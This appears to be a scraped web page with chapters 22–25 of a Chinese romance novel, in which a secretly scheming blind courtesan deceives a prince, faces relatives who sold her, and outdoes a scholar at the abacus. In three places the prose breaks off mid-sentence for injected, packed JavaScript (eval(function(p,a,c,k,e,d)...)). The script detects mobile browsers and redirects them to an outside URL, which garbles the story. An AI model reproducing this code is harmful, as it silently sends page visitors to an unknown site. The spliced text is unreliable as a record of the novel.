裴舟望见燕绥之满脸不满,静梅又如此激动,只得先向云潋致歉:“抱歉,是我口无遮拦,吓到云姑娘了。” 静梅却不肯收敛,干脆冷硬道:“我家小姐在别院是大门不出二门不迈,您与其问她,还不如来问我。我整日游走在厨房,不时和丫鬟们闲聊,我知道的都比我家小姐多。” 裴舟望生出兴致,“那劳烦静梅姑娘吐露一二。” 静梅也不客气,满脸愤怒:“别院里就没有一个人不恨她的,谁都有可能忍不住杀了她。院里的姑娘不愿接客,她就往死里打;逃跑的,她就连男带女一并打死,扔进乱葬岗;不听话的,她就让恩客使劲儿折磨。我在别院的那几年,就有七八个姑娘、下人受不了折磨,悄悄给她下毒或是半夜在她院子里放火的。不过很可惜,没人成功罢了。如今她有这般结局,也是她自作自受,怨不得任何人。” 裴舟望低垂眼眸,不再纠缠,“原来如此,是我浅薄,不知内情。多谢静梅姑娘据实相告,我会酌情考量的。” 静梅也是喝多了,端着碗感慨着:“善恶终有报,我倒要谢谢那个替我们惩恶扬善的英雄。这些年压在心中的大石头,可算是落地了。畅快!” 云潋视线僵直,听到碗重重放在桌上的声音,有些紧张地问:“静梅,你还好吗?” 眼见静梅又端起碗喝了一整碗果酒,刘芳赶紧搀扶住东倒西歪的静梅,临走前还跟云潋解释:“静梅姑娘喝多了,我先扶她回房休息。” 云潋这才不再惊慌,乖巧应声:“多谢刘姐。” 燕绥之则悄悄在桌下拉住云潋的手,低声问道:“明日我能接你去御史府一趟吗?” 云潋不解,“为何?” “父皇怕我在宁州不耐暑热,派来两位太医照顾。我想着让他们给你把脉瞧瞧,看你的眼疾可有办法医治。” 云潋有过一瞬惊慌,随后立刻镇静下来,“从出生起,我就一直如此,早已习惯了看不见的生活。太医院的太医们德高望重,何必让他们为我费心操劳。殿下,您已经帮我还姐妹们自由,我感激不尽。若再承您恩情,我怕......更还不起。” 燕绥之扯住云潋想要抽回的手,“云儿,我对你好,是因为我喜欢你。因为喜欢,所以一切都是我心甘情愿的。关于我做的一切,你都不必有负担,更无需想着偿还。” 23. 第 23 章 云潋最终还是没有耐得住燕绥之的软磨硬泡,同意第二天随他去府中让太医诊脉。 刘芳将云潋送回房中后,静梅便不再装醉,匆忙从床榻上起身,凑到云潋身边仔细检查她手中的伤痕,满心满眼的心疼。 “小姐,你伤的重不重?快给我看看。” “无碍,小伤而已。” 见云潋左手包扎得如此臃肿,静梅转头就去找药匣,作势要拆掉那碍眼的白布,重新给云潋上药。 可云潋却拒绝了,“不必换。” 静梅没再纠缠,只关切道:“小姐,太医院出身的太医都是回春妙手,若明日他们为您搭脉,诊出您双眼无疾,可如何是好?” 云潋并不惊慌,轻声道:“我内力浑厚,逼出片刻伪脉,蒙混过关,倒也不难。” 静梅这才放心,拍着胸口抚气,“那就好,刚才奴婢听说二殿下要为您医病,吓得冷汗都出来了。” 云潋用帕子为静梅擦了擦额间汗水,真挚道谢:“刚才还要谢谢你为我遮掩,瞒过裴舟望。” 静梅灿然一笑,“小姐,你操纵二殿下废除乐籍制度,让禁娼之策落到实处,是功德无量的善事。而且,刚才我说的那些都是真心话,能有机会一吐为快,我高兴还来不及。” 云潋抚摸着静梅额间的碎发,满眼怜爱,低声道:“这些年,苦了你们了。” 静梅握着云潋的手,将脸轻轻倚在白布之上,温声道:“不苦,我有幸遇到您,能助您一臂之力,我甚是欢喜。” 第二日清晨,燕绥之早早等在院外。 沈烁被太阳照的睁不开眼,用扇子殷勤的为燕绥之遮挡阳光,苦口婆心地劝道:“殿下,我去敲敲门吧,您何苦在烈日下苦等。” 燕绥之却不肯,“她昨日喝了不少果酒,让她多睡一会儿,养养精神。” 云潋早就听到门外动静,却还是陪着刘芳一家吃完早饭,才在静梅的搀扶下走出院门。 在门外等候许久的燕绥之早已一身薄汗,院门刚开,他便快步上前,从静梅手中接过云潋的手,细心搀扶,见昨日他为云潋包扎的白布还在,燕绥之勾唇轻笑,暗自窃喜。 “手上的伤可还疼?” 对待男人,云潋素来信奉一个观念——打一个巴掌,给一颗甜枣,张弛有度,忽冷忽热,才能让人捉摸不透,才能念念不忘。 “多亏殿下昨日赐药,云潋感觉好些了。”说罢,云潋掏出袖中的香帕,递给燕绥之,“让殿下久等,擦擦汗吧。” 燕绥之握着沾有云潋香气的帕子,不舍得用它擦拭汗水,小心揣进怀中珍藏。 “我不热。”燕绥之转头看向简朴的宅院,转而关切道,“你暂住的房子简陋,又无冰鉴降温,夜里你可还睡得安稳?” 刚踩上踏凳的云潋懒洋洋回话:“除了蚊虫多些,别的倒也还好。” 云潋和燕绥之单独坐在马车内,燕绥之迫不及待从另一侧的长凳上拿起昨夜刚刚打磨完工的盲杖,送到云潋手中。 云潋摸着被精心打磨过的盲杖,嗅着它隐约散发出的降香气味,抚摸着它温润如玉的质感,轻声问:“黄花梨?” “对,你果然见多识广。”燕绥之本以为云潋会露出欢喜神色,谁知她神情疏离,表情淡漠,便试探着问,“你不喜欢?” 云潋摇头,“不是。” “那是尺寸不合适?”燕绥之轻声解释,“我是按照你那日落在河边的盲杖尺寸做的,若是你觉得不趁手,我可以再重新调整。” 云潋今日初见燕绥之,便看到他眼下遮掩不住的乌青,他近日公务繁忙,四处巡查,却还挤出时间为她亲手做出这支盲杖,纵使她是铁石心肠,也不免有几分动容。 “殿下,黄花梨木珍贵难得,价格不菲,这么大的一块儿材料,只用来做一支盲杖,实在有些暴殄天物。” 知晓云潋并非不喜这支盲杖,燕绥之松了一口气。 “既是你日日要用的东西,只要能为你带来些许便利,多金贵的材料都使得。” 云潋握着盲杖,心头生热,不再推辞:“那就谢过殿下。” 燕绥之见云潋肯收,心中欢喜,嗅到食盒中飘出的食物香气,忍不住开口询问:“你准备了些什么吃食?” “中秋那日,裴大人在摊前多付了钱银,我们本就说好日后做些糕点补上。昨日静梅又在裴大人面前酒醉失言,便又多准备了一份汤品,权当给裴大人赔罪。” 燕绥之见什么都有没有自己的份儿,不由得冷了脸。 忍耐许久,燕绥之终究是忍不住酸溜溜地试探:“裴大人,裴大人。自从你与堂兄相识后,便时常将他挂在嘴边,处处优待他。早听闻不少女子钦慕他这个三元及第的状元郎,又对他那副惑人的皮囊心动不已,莫不是连你也......” 云潋冷冷转头面向燕绥之,故意让他看清她毫无焦距的双眼。 燕绥之意识到自己失言,“抱歉,我不该......” 云潋沉着脸,语气严肃:“我不知裴大人长相如何,世人如何倾慕于他。亦如当初,我根本不知您相貌如何,也傻傻托付真心。云潋评判世人,从不靠眼睛。旁人待我十分,我便千百倍奉还,这是我处世的原则。殿下若是实在看不惯,大可少来招惹我,免得让您觉得不痛快。” 听云潋如此说,燕绥之瞬间哑口无言,更不敢再随便吃味。 因为云潋说得没错,当初她根本不知他相貌如何,家世优劣,只因他曾善待过她,她便在他身陷囹圄之时,愿意倾尽所有,甚至想过托付终身。 她给过他忠贞赤诚的爱意,那也是他第一次被那般坚定的选择,深切体会到被一个人全心全意爱着时的幸福。 可也正因他见过云潋爱人时奋不顾身,热烈张扬的模样,才会在她对裴舟望另眼相待时感到强烈的不安,害怕她改变心意,害怕那样热烈的爱意另有所属。 当初他就是借着堂兄的名义出现在云潋的生命中,借着堂兄的家世和清名与她周旋,哄她接纳。 如今真正的裴舟望出现,果然深受云潋敬重爱戴,他自然害怕,怕她从一开始爱慕的就是裴舟望,爱他的才学,爱他的清正贤名。 一切都是错位的。 若她有心拨乱反正,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215151|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该如何是好? 燕绥之的沉默与萎靡果然引起裴舟望的注意,当太医轮流给云潋诊脉时,他忍不住询问:“怎么了?怎么这般萎顿。” “无碍,昨夜没有睡好而已。” 裴舟望眼见燕绥之不肯说真话,又打量起云潋紧绷的神情,没再继续追问。 两位太医轮番给云潋把脉后,背着人嘀嘀咕咕许久,最后吴太医出面回话:“回禀二殿下,这位云姑娘的眼睛乃先天不足,我等医术不精,实在无力回天。” 燕绥之眉头紧锁,急切追问道:“当真一点儿办法也没有?” 周太医见二皇子神情不悦,赶忙磕头:“臣等无能,求殿下恕罪!” 燕绥之上前握住云潋的手,满腔怒火无处发泄,“说什么医科圣手,全是一群酒囊饭袋!” 吴周二位太医将头埋得更低,语气中夹杂着几分惧意:“殿下饶命!” “连张方子都开不出,孤要你们何用!” 云潋刚才暗自调用内力改变脉象,现下显现出几分虚弱之态,倚在燕绥之腰间,静默不语。 眼见燕绥之动怒,要逼迫太医开药,云潋赶紧阻拦:“我这眼疾本就是胎里不足所致,如今十几年过去了,您又何必强人所难呢?” 燕绥之火气稍降,垂首看向云潋,低声安慰:“无论如何,总该试一试,万一呢?难道你就不想看看繁华世界,看看心爱之人的相貌?” “我和你不同,我无需用眼睛看,我只用心感受。”云潋反握住燕绥之的手,轻声给他顺气,“人各有命,不能强求。殿下,您的心意我甚是感激。可我实在不想一次次满怀希望,又一次次落空。” 燕绥之凝视云潋良久,终是妥协,挥手让两位太医离开。 两位太医侥幸捡回一条命,提着药箱仓惶离去。 云潋侥幸瞒过燕绥之与裴舟望,自是不敢久留,松开燕绥之的手,起身告别:“二位公务繁忙,我和静梅就不多叨扰了。” 燕绥之哪里肯依,轻轻拽住云潋的衣袖挽留,“我陪你去街上逛逛可好?” 而静梅则将桌上的食盒递给裴舟望身边的听枫,又对裴舟望恭敬行礼,“静梅昨日多有冒犯,还望裴大人恕罪。这些糕点和汤品,望大人笑纳。” “昨夜是我言语冒犯,静梅姑娘不必挂怀。”裴舟望抱拳回礼,转头吩咐身旁的听枫,“听枫,将我准备的几坛美酒搬到马车上去。” “是,公子。” 静梅和裴舟望道谢后,转头去搀扶等在一旁的云潋。 逛街邀约被云潋果断拒绝,燕绥之为不能和云潋多相处片刻而感到甚是失落,说什么都要亲自去送云潋回家。 不等他们二人上马车,就听得有暗卫回来禀报:“回禀殿下,云姑娘家门外来了一伙男女,吵嚷着要见云姑娘。” 燕绥之并未开口,而是转头悄悄观察着云潋的神情,见她并未因他着人在她家附近监视而生气,这才问道:“你可知来者何人?” 那暗卫拱手恭敬回道:“属下听那中年女子和刘氏说,他们是云姑娘的父母兄弟,今日特来接云姑娘回家。” 24. 第 24 章 云潋眉头微蹙,暗自思忖着到底是谁将真云潋的父母送来闹事。 难道说是主子发现别院据点被端,她也突然与组织断了联系,想借真云潋的父母之手将她带回去受审? 燕绥之见云潋一副忧心忡忡的模样,赶忙吩咐暗卫:“先将人抓起来,我们随后就到。” “是,属下明白。” 暗卫急匆匆飞奔回去,三下五除二便将那几个人捆绑好,堵住嘴,安置在云潋家中的院子里,静候燕绥之的审问。 马车内静谧无声,静梅眼珠一转,赶紧握紧云潋的手,故作焦急道:“小姐,您家人在您五岁时就将您卖到别院,这些年从未再来看过您一眼,现在又找上门来,这是何意?” 云潋垂眸,从深思中回神,满面悲怆,“说是家人,可我哪里还有家。他们不过是见我重获自由,姿容尚在,准备将我再卖一次罢了。” 燕绥之见云潋暗自垂泪,赶紧握紧云潋的手,低声安慰:“你放心,有我在,绝不会让他们伤害你。” 云潋声音哽咽:“谢谢殿下,总让殿下看到这些糟心事,云潋实在羞愧难当。” 接过静梅放在她手中的帕子,云潋刚想擦拭眼泪,却被燕绥之截胡。 “恶人生歹念,你也是平白遭受无妄之灾,何必自责。”燕绥之早早从袖中掏出素色手帕,心疼的为云潋擦眼泪,“你我之间,不分彼此。无论何等难缠的事,你都不必害怕,我自会为你做主。” 云潋轻轻点头,似是找到主心骨般,扯出一个浅浅的笑容。 顾及着云潋受了惊吓,燕绥之亲自将她抱下马车。 云潋被燕绥之抱在怀中,怯生生在燕绥之耳边低语:“殿下,您放我下来吧。” “抱紧。” 燕绥之将云潋向上颠了颠,云潋吓得赶忙搂紧燕绥之的颈,不再闹着要下地行走。 察觉怀中人对他的依赖,搂云潋腰肢的手愈发收紧,燕绥之径直将云潋抱进院中,安放在暗卫抬来的交椅上。 地上捆着两个汉子和两个女子,男女皆是一老一少,他们身着粗布衣衫,满脸皱纹,见云潋被一男子抱着,倏地睁大双眼,挣扎着想要开口说话。 暗卫关紧院门,在燕绥之的示意下,刘芳带着幺妹与二牛进了屋,屋门紧闭,不再过问院中事。 燕绥之坐在云潋身旁的另一把交椅上,将云潋拧着帕子的手轻轻扯过,攥在手中,安放在膝上,随后他下颌轻扬,沈烁便上前将四人口中塞着的白布一一扯下。 四人大口呼气,喘息几声,才缓过劲儿来。 年老的汉子双眼浑浊,摆出一副当家人的高傲姿态,冷呵一声:“不孝女,谁教你这般对待自己的父母兄嫂!还不快叫人给我们松绑!” 云潋不语,静梅率先开口:“你是什么东西,也敢在别人家中逞凶斗狠!” 老汉身边的老妇人不似自家夫君那般没有眼力见儿,也惯会搞怀柔那一套,眼见云潋身边有人撑腰,立刻挤出两滴眼泪,悲戚道:“三妞,娘可怜的孩子。我们刚一听说你重获自由,便立刻让你大哥套了牛车来接你。你放心,有娘在,日后保管将你照顾好,不再让你吃一点儿苦。” 一旁的年轻女子也跟着附和:“对呀,三妹,嫂嫂已经给你收拾好房间,被褥都是新晒过的。你都不知道这些年家里人有多想你,如今终于能一家团聚,这是天大的喜事呀!” 云潋垂眸,端坐在交椅上不动声色。 燕绥之也不急不躁,只一味陪着云潋看她家人演戏。 眼见云潋不肯表态,到手的鸭子吃不进嘴,年轻汉子性情急躁,面上多了几分急切,尝试唤起云潋遥远的记忆。 “三妹,当年宁州水患,家中的田都被淹了,一家人饿的眼冒金星,是哥哥省下半个馍馍给你,才救下你一条命。你那时拉着我的手,说永远会记得哥的好,难道你都忘了吗?” 这些记忆自然不会触动云潋分毫,因为那个可怜的真云潋早就亡故,她这个假云潋怎么会对不曾经历过的事情有任何反应呢。 云潋忽然勾唇浅笑,似是被触动一般,温声问道:“大哥善待我,我自然铭记于心。只是不知为何这么多年来,父亲母亲和兄弟姐妹们都不曾来别院看过我,莫不是早就将我忘了?还是......大家有什么难言之隐?” 四人皆有几分心虚,想着该编些什么话让云潋释怀,随他们归家。 老妇率先出声卖惨:“女儿啊,家中这些年过得苦呀,时常连饭都吃不上。你那小侄子今年都十一了,还瘦的跟个小鸡崽子似的,一到换季时就生大病,每年汤药不离口。咱家天天土里刨食,一个个累得腰都直不起来,晒得跟黑煤球一样。三妞,爹娘不是不想你,实在是不想让你跟着操心呀!” 大哥拼命点头,赶忙应和:“是呀,三妹。你看不见,所以不知我们现在有多穷困潦倒。哪里比得上你,自小锦衣玉食,有机会识文断字,身边还有婢女伺候。风吹不着,雨淋不着,这些年简直像掉在福堆儿里似的长大。” 云潋默不作声,大哥见她衣衫华贵,腕间戴着金镯,邀功般继续说道:“你肩不能提手不能扛,又眼盲体弱干不了活。当年若不是我给你寻到这个好去处,这些年你哪儿能过得这般滋润。” 燕绥之听到他们巧舌如簧、颠倒是非,全然漠视云潋的痛苦,心中怒火丛生,稍一抬手,沈烁便立刻上前,对着年轻汉子那张得意洋洋的脸落下重重一巴掌。 沈烁手上皆是习武留下的硬茧,这一掌又带着私心,使了十足的气力,那汉子被扇的歪倒在一边,唇角流下一段清晰可见的血痕。 他身旁的妻子心疼不已,对着云潋嚎叫:“啊!你个狐狸精,惯会勾搭野男人,躲在男人身后扮柔弱。他是你亲哥,血脉相连,你怎么能这般心狠!” 老汉更是怒不可遏,深觉云潋这是在践踏他作为父亲的尊严,他向来在家中耀武扬威惯了,火气上来不管不顾,挣扎着从地上起身,抬脚就要去踹坐在交椅上的云潋。 “贱丫头,无法无天,老子打死你!” 燕绥之马上起身护在云潋身前,一脚将老汉踹倒在地,身旁几个早就伸手去拦他的暗卫更是立刻将他死死按住。 老汉拼命挣扎,老妇也试图用身体挤开暗卫,却被一把推倒在地。 “放开我,还有没有王法了!” 老妇则摆出一副冤屈像,凄厉地嚎叫,想引来邻里围观,“救命啊!杀人了!” 一时间尖叫声、嚎啕声,不绝于耳。 云潋的嗓音轻柔,却恰好打断阵阵嘈杂。 “我五岁被卖,距今十二年。我的小侄子今年已经十一岁了,也就是说,你们拿着卖我的钱,马上给长兄娶妻成家。家中现下有牛车,你们想必过得也不算太差。可十二年间,从未有人想过凑钱赎我,更是对我不闻不问。现如今我刚一重获自由,你们便又想起还有我这么个孩子了。你们究竟是想接我回家享福,还是想起可以把我接回去重卖一次,你们心中一清二楚。” 老妇没想到会被女儿亲自戳穿心思,赶忙哀嚎:“我们不是不想赎,是赎不起啊。难道你要眼睁睁看着爹娘饿死,看家中断了香火吗?三妞,跟娘回去吧,娘想你想得整宿整宿睡不着觉呀!” 云潋冷漠万分,轻声问:“是吗?那我的好娘亲,我的生辰八字是什么?” 一句问话,让四人顿时卡壳,老妇嗫嚅半晌也说不出来。 “记不住吧。” 大嫂立刻帮忙找补:“娘年岁大了,记不住也正常。” 静梅气不过,马上驳斥道:“你会记不住自家孩子的生辰吗?她口口声声说想我家小姐,却连她的生辰八字都记不住。她时刻不忘心疼她好大孙又矮又瘦,却无视我家小姐五岁起便独自在世间求生的艰难。这般无情无义之人,我们凭什么相信你们会善待我家小姐!” 这番驳斥,让那四人哑口无言。 云潋轻笑,语气讥讽:“我的好大哥,既然你觉得烟花柳巷里的姑娘们都是在享清福,那当初家中无米下锅时,你身为长子,当初为何不洗干净身子去当小倌呢?那样你既能享受锦衣玉食的生活,每日还有仆从伺候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233631|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不正合你意吗?” 燕绥之笑着点头,冷声附和:“你大哥除了年岁大些,皮肤黝黑,倒也算得上俊朗。云儿,你的提议甚好。沈烁,还不赶紧带走。” 老汉听到云潋要让他大哥伺候男人,顿时再次剧烈挣扎起来,撕心裂肺地叫喊:“死丫头,你敢!他是长子,怎么能让他去那种肮脏地方!” 云潋嗤笑:“哦?他去不得,我便去得?我是什么贱骨头吗?天生就该受苦受难,牺牲自己为你们换富裕生活。一遍遍被你们羞辱践踏,敲骨吸髓!” 燕绥之眼见云潋情绪失控,忙将她搂尽怀中轻哄:“莫生气,当心气坏了身子。” 在场的众人皆有些心疼云潋,因此当燕绥之吩咐暗卫将这四人扭送官府时,暗卫拉他们起身的动作都分外粗鲁,恨不得悄悄踹上几脚泄愤。 “沈烁。” “属下在。” 燕绥之一边轻拍云潋后背替她顺气,一边冷声吩咐:“私下买卖人口,乃是重罪。告诉新到任的知府,让他将这几人当作典型,务必严判重判,以儆效尤。孤倒要看看,有你们四人为戒,谁还敢不长眼地骚扰那些可怜女子。” 四人被堵住嘴,扭送出门,期间没少因为激烈反抗被暗卫敲打。 云潋见他们几人似乎并不知她早前被送去服侍皇子的事情,心中纳罕——这几人不知内情,却敢贸然上门大闹一通。 难道说,他们登门,真的只是凑巧? 燕绥之见云潋魂不守舍,似是被家人的无情伤透了心,愈发不敢再将云潋独自留在这里伤怀。 此刻燕绥之只一心要将云潋放在眼皮底下看着,日日陪伴,才能稍稍放心。 “我下月初就要启程去贺州迎大长公主回京都参加皇后娘娘的千秋宴,这些天日夜忙碌,四处巡视,就是想着在离开前将宁州的事务安排妥当。” 云潋自是想虽燕绥之回京都,但是现下缺少一个合适的契机,缺一个名正言顺的身份。 她不能开口请求,便只能静观其变。 燕绥之见云潋专心听他说话,便将心中思忖许久的借口细细道来:“宁州这些年留下一堆烂账,我们从宁州城中寻了无数擅珠算的算手日夜捋账,却依旧进程缓慢。我记得早前你跟我提及过,你擅珠算,不知你可愿随我回御史府,帮我和堂兄看顾一二。” 云潋满脸为难,一时没有松口。 燕绥之赶忙解释:“为赶时间,这些算手都是暂居在御史府前院的厢房中,两班轮换。既然以算手之名相邀,我们定是要如数为你发放工钱,提供食宿的。云儿,你可愿帮我?” 云潋垂眸,为难道:“我学的那些终究是皮毛,当初学习珠算也只是为了日后能辅佐主母掌中馈。核算账目事关宁州官员量刑,我......真的可以吗?” 燕绥之握着云潋的手,温声鼓励:“那些账目皆需反复核算,数人过手,肯定不会出差错。中秋那日,你说你想自力更生,现下不正是好机会吗?” 云潋这才点头,躬身行礼,“谢殿下愿意信任云潋,我定不负所托。” “答应就好,那咱们即刻启程吧。” 燕绥之赶忙伸手扶起正在行礼的云潋,欢喜的想将她抱回马车。 云潋惊慌地揽着燕绥之的颈,小声请求:“我们得收拾下行李。” 燕绥之却生怕云潋反悔,转头吩咐:“楚执,你留下,陪静梅收拾一下。” 楚执拱手行礼,“是。” 言毕,燕绥之低头问道:“可还有什么不放心的?” 窝在燕绥之怀中的云潋匆忙摇头,瓮声瓮气道:“没有了。” 燕绥之如愿将云潋拐到身边,能得机会时时相处,自是喜不自胜,说话的语调都欢快几分:“那便启程,正好能赶上用午膳。” 云潋坐进马车,一路上被燕绥之亲手喂了不少糕点。 听着街边人声鼎沸,云潋心中思绪万千,她只盼日后事事皆能如今日般顺遂,得偿所愿。 马车后跟随无数亲卫,一行人浩浩荡荡朝御史府邸方向行进。 25. 第 25 章 裴舟望见云潋去而复返,面露不悦,却还是顾及着燕绥之的面子上没有发作。 用过午膳后,收拾完行李的静梅来到原来住过的院中打点,带着燕绥之派来的四个丫鬟将屋内装饰一新。 “你,将地上的毯子撤下去,免得绊倒我家小姐。” “是。” 在地上擦拭的丫鬟忙将毯子卷走,抱去仓库收好。 看着静梅在院中指手画脚,一副府中主人的模样,带着听枫来送账册的裴舟望脸色越发难看。 云潋坐在凳上,静静品茶,直到裴舟望走到她身侧落座,开口说话后,她才有所反应。 “从狱中出来后,殿下就一直住在这里。今日你一来,他便将院子让给你,可见他对你十分重视。” 云潋勾唇浅笑,似乎并不在意裴舟望语气中的不悦。 “殿下仁慈,顾及我曾在此暂住,对周遭环境熟悉,这才愿意割爱,云潋自是感激不已。” 云潋油盐不进,始终一副老神在在,不怒不恼的温柔模样,让裴舟望越发无处撒气,他命听枫将账册与算盘放在桌上,冷声道:“不知姑娘可会用算盘?又如何能理清这堆账目。” “裴大人这是不信我?” 裴舟望审视地盯着云潋,语气依旧冷硬:“只不过是怕姑娘双眼有疾,不便操作罢了。毕竟这些账目至关重要,就算是那些有经验的算手,看到如此庞杂的账册也头痛犯难。” “大人可愿与我比试一番?” 裴舟望不解,“比什么?” 云潋笑道:“比珠算。让静梅念三页账目,你我同时用算盘计算,最快算出正确数目者为赢家。” 裴舟望满脸不可置信,“我与你比,岂不是在欺负人?” 云潋挑衅道:“我不介意,也有信心。难道,大人不敢?” 裴舟望被如此挑衅,哪有不应的道理,听枫匆忙找来算盘,递给裴舟望。 生怕来日此事传出去,变成他堂堂状元郎欺负一个盲女,裴舟望再次确认:“你当真要与我比?你连算盘珠子都看不见,实在不必逞强。我信你便是,反正殿下早有决断,更改不得。” 云潋却拢好衣袖,双手拂过手边的算盘,摆好手势,笑得胸有成竹。 “云潋不才,倒也学过几年,愿勉力一试。”说罢,她对举着账册的静梅吩咐道,“静梅,可以开始了。” 静梅声音朗朗:“天青色釉蟹爪纹高足盘两只,六百两。白玉观音像一座,一百九十两。” 云潋双眼无神,平视裴舟望,手指却在算盘上上下翻飞,速度惊人。 起初静梅还怕自家小姐跟不上,故意放慢语调,谁知小姐手速惊人,反倒是裴大人跟不上她家小姐的速度。因此为了能帮小姐决出胜负,静梅的语速越来越快。 当静梅声音停止,云潋的手也停下,从算盘上移开。 可屋内的算盘声却未停,云潋勾出一个灿烂笑容,对着裴舟望轻声道:“裴大人,承让。” 听枫何曾见自家少爷落败过,因此不死心的上前去检查云潋的算盘,见她算盘上的结果与少爷算出的别无二致,眸中惊讶难掩。 裴舟望倒也称得上君子,见自己落败,拱手道:“裴某甘拜下风。” 云潋并未咄咄逼人,反倒摆出一副感激神情,温声关切裴舟望:“侥幸而已。倒是大人连日辛劳,为宁州百姓伸冤,事事亲力亲为,云潋心中敬佩。若大人不嫌弃,云潋晚上亲自下厨备些酒菜,不知大人可愿赏光?” 裴舟望此刻才渐渐明白,为何素来冷情的堂弟会陷得如此深,甚至不惜去信向圣上与贵妃娘娘替云潋讨要侧妃名分。 云潋其人,美艳绝伦,知进退、懂人心,平日不显山漏水,内里却大有乾坤,引人心痒好奇,不自觉间步步沉沦。 连他......都几次险些失神。 裴舟望如何能与燕绥之相争,匆忙拒绝:“多谢云姑娘好意,可我还有公务要忙,只怕没有这个口福。” “啊,那实在可惜。”云潋一脸失望,随后又挂上温柔笑意,“那我给大人留一份,等大人忙完公务,夜里也好有食物果腹。” “不必费心。” 说完,裴舟望匆忙起身,仓皇逃离。 待屏退屋中婢女,静梅倚在云潋身边,满眼钦佩,压低声音问:“小姐,您怎么这么厉害!您不看算盘,竟然比状元郎算得更快更准,我简直太佩服您了!” 云潋却没有半分喜色,思及幼年苦练珠算的温馨时光,此刻她心中只有阵阵悲凉。 见小姐没有应声,静梅不再纠缠,将账册与笔墨纸砚摆好,便静静退了出去。 燕绥之下午去堤坝巡视,回来时满身脏污,知云潋喜净,他特意洗漱更衣,才去院中寻云潋。 听管事说云潋现下正在后厨忙碌,燕绥之匆忙赶去厨房。 燕绥之刚一进屋,就听得云潋在烟雾缭绕的后厨角落细细叮嘱静梅:“秋燥容易上火,你将秋梨绞汁,加些碎冰,制成甘露饮。一会儿殿下回来后,给他送去。” “是。” 静梅起身去洗秋梨,云潋则试探着想伸手去抓瓦罐内的木勺。 眼见云潋的手要碰上灶上滚烫的瓦罐,燕绥之赶紧上前抓住她的手,关切道:“小心。” 云潋被燕绥之抓着手腕,几次想要挣脱,却都不成功,她只得低声提醒:“殿下,这是在后厨。” 燕绥之根本不顾周围仆从丫鬟们偷瞄的视线,将云潋抱出后厨,径直带到前厅,直到将她放在太师椅上落座,才松开紧紧桎梏云潋腰肢的手。 “日后,你不要再进后厨。那个地方烟熏火燎,处处不便,若是伤到你,反倒得不偿失。反□□中有得是人伺候,你不必如此操劳。” 云潋满脸失落,似是做错事情一般,低声解释:“我只是想感谢您准允我做算手,给我和静梅容身之所,让我们能自力更生。不是想逞强,或是有意献媚讨好。” 燕绥之敲了敲云潋的额头,满口宠溺:“我是在心疼你,这还听不出?” 云潋瞬间羞红了脸,想要逃离,可燕绥之却双手抓紧太师椅的两边扶手,将云潋堵在他与椅子的靠背板中间。 “殿下!” 燕绥之欢喜应道:“嗯,我在。” 云潋双手紧绞在一起,试探着岔开话题:“殿下,您让我来做算手,裴大人是不是觉得不妥?若裴大人不愿意让我插手,要不还是算了吧。我和静梅回街边卖糕点就好,反正现下我家里那群人已经下狱,想必也不会遇到什么危险。” 听到云潋要走,燕绥之讶然,神情一凛。 “他为难你了?” 云潋连忙摇头,扮作无辜模样。 “不是的,裴大人处事妥帖,今日他还特意亲自给我送来账册和算盘。” 燕绥之谨慎观察着云潋的神情,试探道:“既是如此,你为何觉得他容不下你?” 云潋的脸上顿时显现出几分慌乱,嗫嚅半晌,编出一句:“我只是听说裴大人行事严谨,怕他觉得我不能胜任。” 燕绥之心中了然,安抚似的摸了摸云潋的墨色长发,低声安抚:“他人虽古板些,可性子却不坏。他现下与你不熟,所以还未完全敞开心扉。若你觉得与他相处起来有压力,日后大可少与他接触。” 云潋点头,摆出善解人意的模样。 “好,我听殿下的。” 自从那日与云潋比赛珠算不幸败北后,裴舟望便开始有意躲避云潋,不愿再与她私下相处,不仅每次取送账册都由听枫代劳,连用膳都不肯与她一处。 裴舟望翻着云潋核算过的账册,仔细一一复核,见每本账册都精准无误,反倒越发烦躁不安。 听枫将静梅送来的姜汤放在案几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260657|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,见公子神情严肃,似是烦躁不安,小声询问:“公子,可是账册有什么不妥?” 裴舟望视线粘在账册上,完全不理会听枫的问话,顺手打开汤盅舀起一勺送进口中,口腔中几分辛辣的味道让他举着汤勺的动作一顿。 “姜汤?” 听枫忙温声解释:“对,刚才静梅姑娘送来的。她家小姐说您今日陪二殿下巡视堤坝,骑马时淋了雨,怕秋雨寒凉,让我送来给您驱寒。” 裴舟望将瓷勺重重放在木托盘上,似是赌气一般,呵斥道:“撤走!以后她送来的吃食,一概不收!” 自家公子从不曾发过这么大的火,听枫不敢耽搁,手忙脚乱地端起木托盘,将姜汤端离裴舟望的视线。 